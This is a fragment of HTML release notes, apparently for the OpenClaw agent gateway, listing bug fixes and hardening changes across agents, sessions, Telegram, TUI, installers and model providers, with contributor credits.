<li>Agents/fs: allow workspace-only host write/edit tools to write through in-workspace symlink directory parents while preserving outside-workspace symlink rejection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489773167" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84696" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84696/hovercard" href="https://github.com/openclaw/openclaw/issues/84696">#84696</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garbagenetwork/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garbagenetwork">@garbagenetwork</a>.</li>
<li>Checks/Windows: run managed child commands through explicit <code>cmd.exe</code> wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.</li>
<li>Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507093570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85652" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85652/hovercard" href="https://github.com/openclaw/openclaw/pull/85652">#85652</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</li>
<li>Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/njuboy11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/njuboy11">@njuboy11</a>.</li>
<li>Sessions/status: preserve user-facing model, fallback, usage, and cost attribution when internal subagent handoff runs use fallback models. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508383924" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85726" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85726/hovercard" href="https://github.com/openclaw/openclaw/pull/85726">#85726</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497481106" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85082" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85082/hovercard" href="https://github.com/openclaw/openclaw/issues/85082">#85082</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Install/update: honor <code>OPENCLAW_HOME</code> when deriving default dev checkout and installer onboarding paths, while keeping explicit <code>OPENCLAW_GIT_DIR</code> and <code>OPENCLAW_CONFIG_PATH</code> overrides authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4130936033" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54014/hovercard" href="https://github.com/openclaw/openclaw/issues/54014">#54014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robertPiro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robertPiro">@robertPiro</a>.</li>
<li>Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.</li>
<li>Plugins/Gateway: treat non-empty return values from plugin gateway method handlers as successful responses so <code>openclaw gateway call</code> no longer times out after completed plugin work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191852021" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59470" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59470/hovercard" href="https://github.com/openclaw/openclaw/issues/59470">#59470</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HTMG23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HTMG23">@HTMG23</a>.</li>
<li>Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455291382" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82215" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82215/hovercard" href="https://github.com/openclaw/openclaw/issues/82215">#82215</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/igormf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/igormf">@igormf</a>.</li>
<li>Channels: honor <code>/verbose on</code> for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505095597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85488/hovercard" href="https://github.com/openclaw/openclaw/pull/85488">#85488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kurplunkin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kurplunkin">@kurplunkin</a>.</li>
<li>Update: keep the detached gateway restart handoff best-effort when the restart script process cannot be spawned. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473950124" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83892" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83892/hovercard" href="https://github.com/openclaw/openclaw/issues/83892">#83892</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davinci282828/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davinci282828">@davinci282828</a>.</li>
<li>Telegram: persist the prompt-context message cache through plugin state and record bot-authored replies after sends and draft streaming so later turns can include prior assistant replies without relying on the JSON sidecar. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499953215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85231/hovercard" href="https://github.com/openclaw/openclaw/pull/85231">#85231</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Agents/subagents: keep Codex persona and user workspace files turn-scoped so native Codex subagents inherit only shared tool guidance by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509412584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85811" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85811/hovercard" href="https://github.com/openclaw/openclaw/pull/85811">#85811</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lastguru-net/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lastguru-net">@lastguru-net</a>.</li>
<li>CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496420539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85032" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85032/hovercard" href="https://github.com/openclaw/openclaw/pull/85032">#85032</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>.</li>
<li>Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506164844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85549/hovercard" href="https://github.com/openclaw/openclaw/pull/85549">#85549</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roslinmahmud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roslinmahmud">@roslinmahmud</a>.</li>
<li>Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506775969" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85619/hovercard" href="https://github.com/openclaw/openclaw/pull/85619">#85619</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ItsOtherMauridian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ItsOtherMauridian">@ItsOtherMauridian</a>.</li>
<li>Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506665584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85603" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85603/hovercard" href="https://github.com/openclaw/openclaw/pull/85603">#85603</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507633147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85682/hovercard" href="https://github.com/openclaw/openclaw/pull/85682">#85682</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/willamhou/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/willamhou">@willamhou</a>.</li>
<li>Telegram: send local <code>path</code>/<code>filePath</code> and structured attachment media from <code>sendMessage</code> actions instead of dropping them or sending text-only messages. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499834705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85219" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85219/hovercard" href="https://github.com/openclaw/openclaw/pull/85219">#85219</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keshavbotagent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keshavbotagent">@keshavbotagent</a>.</li>
<li>Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492043109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84830/hovercard" href="https://github.com/openclaw/openclaw/pull/84830">#84830</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Gateway/config: pin relative <code>OPENCLAW_STATE_DIR</code> overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116048289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52264/hovercard" href="https://github.com/openclaw/openclaw/pull/52264">#52264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PerfectPan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PerfectPan">@PerfectPan</a>.</li>
<li>Checks/Parallels: make changed-lane scripts, shrinkwrap generation, and Parallels package smoke host commands run through native Windows-safe paths and <code>npm</code>/<code>pnpm</code> shims.</li>
<li>Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute <code>npm.cmd</code> instead of treating it as a binary.</li>
<li>Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506833876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85631/hovercard" href="https://github.com/openclaw/openclaw/pull/85631">#85631</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/potterdigital/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/potterdigital">@potterdigital</a>.</li>
<li>Secrets: show the irreversible apply warning after interactive <code>secrets configure</code> confirmation so confirmed migrations still get the final safety prompt. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506862743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85638" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85638/hovercard" href="https://github.com/openclaw/openclaw/pull/85638">#85638</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Agents/CLI output: ignore cumulative Claude <code>stream-json</code> result usage when assistant usage events are present, preventing inflated cache-read accounting. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506794947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85625" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85625/hovercard" href="https://github.com/openclaw/openclaw/pull/85625">#85625</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI: keep <code>waitForever()</code> alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507745080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85694" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85694/hovercard" href="https://github.com/openclaw/openclaw/pull/85694">#85694</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m1qaweb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m1qaweb">@m1qaweb</a>.</li>
<li>Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505840430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85523" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85523/hovercard" href="https://github.com/openclaw/openclaw/issues/85523">#85523</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506755578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85615/hovercard" href="https://github.com/openclaw/openclaw/pull/85615">#85615</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</li>
<li>CLI/tasks: reject partially numeric <code>openclaw tasks audit --limit</code> values so audit limits must be real positive integers instead of accepting strings like <code>5abc</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493313282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84901" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84901/hovercard" href="https://github.com/openclaw/openclaw/pull/84901">#84901</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Status/diagnostics: bound deep Docker audit probes so <code>openclaw status --deep</code> reports slow container checks instead of hanging behind unbounded inspection. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504716306" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85476" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85476/hovercard" href="https://github.com/openclaw/openclaw/pull/85476">#85476</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giodl73-repo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giodl73-repo">@giodl73-repo</a>.</li>
<li>Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired <code>context-1m-2025-08-07</code> beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4074276828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45613" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45613/hovercard" href="https://github.com/openclaw/openclaw/pull/45613">#45613</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haoyu-haoyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haoyu-haoyu">@haoyu-haoyu</a>.</li>
<li>Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including <code>:topic:</code> and <code>:topicId</code> forms for announce delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/etticat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/etticat">@etticat</a>.</li>
<li>Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473949550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83888" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83888/hovercard" href="https://github.com/openclaw/openclaw/issues/83888">#83888</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503861323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85425" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85425/hovercard" href="https://github.com/openclaw/openclaw/pull/85425">#85425</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Control UI/chat: keep light-mode model, thinking, config, and agents select arrows visible without tiling background icons. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508151360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85713" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85713/hovercard" href="https://github.com/openclaw/openclaw/issues/85713">#85713</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</li>
<li>Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469394538" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83604/hovercard" href="https://github.com/openclaw/openclaw/issues/83604">#83604</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.</li>
<li>Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using <code>message</code>, while keeping parent-owned message-tool delivery policy intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497194072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85070" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85070/hovercard" href="https://github.com/openclaw/openclaw/issues/85070">#85070</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497708252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85089/hovercard" href="https://github.com/openclaw/openclaw/pull/85089">#85089</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.</li>
<li>Gateway: defer channel account startup work until HTTP readiness and remove startup model prewarm, avoiding startup event-loop stalls and timer-delay warnings.</li>
<li>Models/perf: reuse plugin metadata during models.json planning, keep bundled catalog augmentation manifest/static, and use static provider catalogs for metadata-only startup discovery so provider model normalization, auth discovery, and Gateway startup metadata do not reload broad plugin runtimes.</li>
<li>Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.</li>
<li>Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506426602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85570/hovercard" href="https://github.com/openclaw/openclaw/pull/85570">#85570</a>)</li>
<li>StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.</li>
<li>Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.</li>
<li>Windows installer: fail Git checkout installs when <code>pnpm install</code> or <code>pnpm build</code> fails instead of writing a wrapper to a missing CLI build.</li>
<li>Sessions: surface previous-transcript archive failures during <code>/new</code> rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450603065" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81984" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81984/hovercard" href="https://github.com/openclaw/openclaw/issues/81984">#81984</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506566941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85586/hovercard" href="https://github.com/openclaw/openclaw/pull/85586">#85586</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452599340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82081" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82081/hovercard" href="https://github.com/openclaw/openclaw/pull/82081">#82081</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xghost42/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xghost42">@0xghost42</a>.</li>
<li>TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in <code>openclaw tui</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506023907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85538" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85538/hovercard" href="https://github.com/openclaw/openclaw/issues/85538">#85538</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danpolasek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danpolasek">@danpolasek</a>.</li>
<li>Gateway/TUI: preserve source-reply metadata through reply normalization and emit message-tool-only agent replies over the live chat stream so <code>openclaw tui</code> renders Codex replies without waiting for a history refresh. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Codex/TUI: keep long source-reply runs alive after Codex reasoning completes so delayed visible <code>message</code> calls can still reach <code>openclaw tui</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>TUI: keep quiet active runs busy after the response watchdog notice instead of reopening the prompt and encouraging duplicate submissions while the backend turn is still running. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents: preserve the latest assistant thinking blocks while stripping invalid replay signatures from older turns, and retry Anthropic thinking failures without thinking replay. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506261816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85557" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85557/hovercard" href="https://github.com/openclaw/openclaw/issues/85557">#85557</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryanbaer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryanbaer">@bryanbaer</a>.</li>
<li>Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456042108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82263/hovercard" href="https://github.com/openclaw/openclaw/pull/82263">#82263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luna-system/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luna-system">@luna-system</a>.</li>
<li>Telegram: avoid false pairing prompts after transient pairing-store read failures while preserving configured <code>allowFrom</code> and per-DM pairing authorization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506247444" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85555" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85555/hovercard" href="https://github.com/openclaw/openclaw/pull/85555">#85555</a>)</li>
<li>Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224755918" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63167" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63167/hovercard" href="https://github.com/openclaw/openclaw/pull/63167">#63167</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
